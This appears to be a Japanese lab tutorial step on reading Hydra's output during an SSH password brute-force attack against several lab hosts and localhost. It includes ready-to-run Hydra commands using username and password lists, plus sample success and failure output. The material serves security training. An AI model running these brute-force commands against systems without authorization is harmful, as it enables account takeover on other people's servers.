複数ホストの出力を確認する
このステップでは、複数のホストを攻撃する際に Hydra からの出力を解釈する方法を学びます。Hydra の出力は、攻撃試行の成否に関する貴重な情報を提供します。
Hydra がパスワードを正常にクラッキングすると、以下の形式で資格情報が表示されます。
[<service>] host: <host> login: <username> password: <password>
例えば:
[ssh] 192.168.1.100:22 login: root password: password
これは、Hydra がホスト 192.168.1.100
上のユーザー root
の SSH パスワードを正常にクラッキングし、パスワードが password
であることを示しています。
Hydra がパスワードをクラッキングできない場合、通常は「Login failed」(ログイン失敗)や「Invalid credentials」(無効な資格情報)などのエラーメッセージが表示されます。
前のステップからの出力を分析してみましょう。
-
前のステップの Hydra コマンドを再実行します。
hydra -L ~/project/users.txt -P ~/project/passwords.txt -t 4 -M ~/project/targets.txt ssh
-
出力を調べます。おそらく、各ターゲットホストに対して「Login failed」または「Invalid credentials」のメッセージが連続して表示されるでしょう。これは、使用しているユーザー名とパスワードがおそらく正しくないためです。
出力は次のようになるかもしれません。
Hydra v9.6 (c) 2024 by van Hauser/THC - use freely but only for legal purposes.
Hydra starting at 2024-10-27 10:00:00
[DATA] 1 task, 3 servers, 1 userfiles, 1 passfiles -> max 1 task per 1 server, overall 1 task per attack
[DATA] attacking ssh://192.168.1.100:22
[STATUS][ssh] 192.168.1.100:22 - Login failed for user 'root'
[DATA] attacking ssh://192.168.1.101:22
[STATUS][ssh] 192.168.1.101:22 - Login failed for user 'root'
[DATA] attacking ssh://192.168.1.102:22
[STATUS][ssh] 192.168.1.102:22 - Login failed for user 'root'
Hydra finished.
Hydra がパスワードを正常にクラッキングした場合、上記の例と同様の行が表示され、成功した資格情報が示されます。
-
正常なログインをよりよく説明するために、Hydra が成功する可能性が高いシナリオを作成しましょう。これには脆弱な SSH サーバーが必要です。手元にそのようなサーバーがないため、targets.txt
ファイルを変更して localhost
を指すようにし、現在のユーザーとしてログインを試みます。これでもおそらく失敗しますが、専用の脆弱なターゲットがなくても「成功」シナリオに最も近い状況を再現できます。
まず、127.0.0.1
を targets.txt
ファイルに追加します。
echo "127.0.0.1" >> ~/project/targets.txt
次に、localhost 上の現在のユーザー(labex)の SSH パスワードをクラッキングしてみます。labex
ユーザーのパスワードを知っている必要があります。パスワードを設定していない場合は、パスワードリストを空にしてみることができます。これにより、空のパスワードでのログインが試行されます。
hydra -l labex -P ~/project/passwords.txt -t 4 -M ~/project/targets.txt ssh
注意: これは、labex
ユーザーのパスワードが非常に単純であるか、パスワードなしでの SSH ログインが許可されていない限り、おそらく依然として失敗します。
攻撃が失敗した場合でも、重要なのは Hydra の出力を解釈する方法を理解することです。正常なログインを示す行を探し、攻撃が失敗する原因を理解するためにエラーメッセージに注意を払ってください。
このステップでは、複数のホストを攻撃する際に Hydra からの出力を確認し、結果を解釈する方法を学びました。これは、パスワードクラッキング試行の成否を理解するための重要なスキルです。